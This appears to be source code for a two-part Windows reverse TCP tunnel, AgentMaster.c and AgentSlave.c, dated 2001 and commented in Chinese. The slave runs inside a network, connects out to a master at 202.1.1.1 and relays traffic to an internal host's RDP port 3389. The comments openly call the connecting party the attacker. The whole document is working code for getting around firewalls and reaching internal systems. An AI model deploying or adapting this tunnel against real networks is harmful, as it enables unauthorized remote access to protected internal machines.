/******************************************************************
Module Name:AgentMaster.c
Date:2001/4/16
CopyRight(c) eyas
说明:scoket代理主控端,负责监听两个TCP socket,
等待攻击者和AgentSlave来连接,两个
scoket都连接成功后,开始转发数据
sock[0]是client==>sock[0] sock[1]是target==>sock[1]
********************************************************************
#include
#include
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetPort 3389//伪装的target的监听端口
#define LocalPort 12345//等待AgentSlave来connect的端口
int main()
{
WSADATA wsd;
SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接
s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接
sock[2]={INVALID_SOCKET,INVALID_SOCKET};
struct sockaddr_in Local3389,Local1981,Attack,Slave;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf(" WSAStartup() failed:%d",GetLastError());
__leave;
}
//create socket
s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s3389==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
//create socket
s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s1981==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
//fill the struct
Local3389.sin_addr.s_addr=htonl(INADDR_ANY);
Local3389.sin_family=AF_INET;
Local3389.sin_port=htons(TargetPort);
Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
Local1981.sin_family=AF_INET;
Local1981.sin_port=htons(LocalPort);
//bind s3389 for attacker
if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
{
printf(" bind() failed:%d",GetLastError());
__leave;
}
//listen for attacker to connect
if(listen(s3389,1)==SOCKET_ERROR)
{
printf(" listen() failed:%d",GetLastError());
__leave;
}
//bind s1981 for AgentSlave
if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
{
printf(" bind() failed:%d",GetLastError());
__leave;
}
//listen for AgentSlave to connect
if(listen(s1981,1)==SOCKET_ERROR)
{
printf(" listen() failed:%d",GetLastError());
__leave;
}
//socket循环
while(1)
{
//wait for AgentSlave to connect
iAddrSize=sizeof(Slave);
sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
if(sock[1]==INVALID_SOCKET)
{
printf(" accept() failed:%d",GetLastError());
break;
}
printf(" Accept AgentSlave==>%s:%d",inet_ntoa(Slave.sin_addr),
ntohs(Slave.sin_port));
//wait for Attacker to connect
iAddrSize=sizeof(Attack);
sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf(" accept() failed:%d",GetLastError());
break;
}
printf(" Accept Attacker==>%s:%d",inet_ntoa(Attack.sin_addr),
ntohs(Attack.sin_port));
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of socket while
}//end of try
__finally
{
//clean all
if(s3389!=INVALID_SOCKET) closesocket(s3389);
if(s1981!=INVALID_SOCKET) closesocket(s1981);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/**********************************************************************
Module:AgentSlave.c
Date:2001/4/17
Copyright(c)eyas
HomePage:www.patching.net
说明:这个程序负责连接最终目标,连接主控端,然后转发数据
这里连接到AgenrMaster的socket相当与sClient==>sock[0],
连接到最终目标的socoket是sTarget==>sock[1]
***********************************************************************
#include
#include
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetIP "192.168.1.3"
#define TargetPort (int)3389
#define AgentMasterIP "202.1.1.1"
#define AgentMasterPort (int)12345
int main()
{
WSADATA wsd;
SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET};
struct sockaddr_in Master,Target;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf(" WSAStartup() failed:%d",GetLastError());
__leave;
}
//循环
while(1)
{
//create client socket
sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[0]==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
//create target socket
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf(" socket() failed:%d",GetLastError());
__leave;
}
//fill struct
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
Master.sin_family=AF_INET;
Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
Master.sin_port=htons(AgentMasterPort);
//connect to AgentMaster
if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR)
{
//连接失败后,等待一会儿再连
printf(" connect() to master failed:%d",GetLastError());
closesocket(sock[0]);
closesocket(sock[1]);
Sleep(5000);
continue;
}
printf(" connect to %s %d success!",AgentMasterIP,AgentMasterPort);
//connect to target
if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf(" connect() to target failed:%d",GetLastError());
__leave;
}
printf(" connect to %s %d success!",TargetIP,TargetPort);
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of while
}//end of try
__finally
{
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
|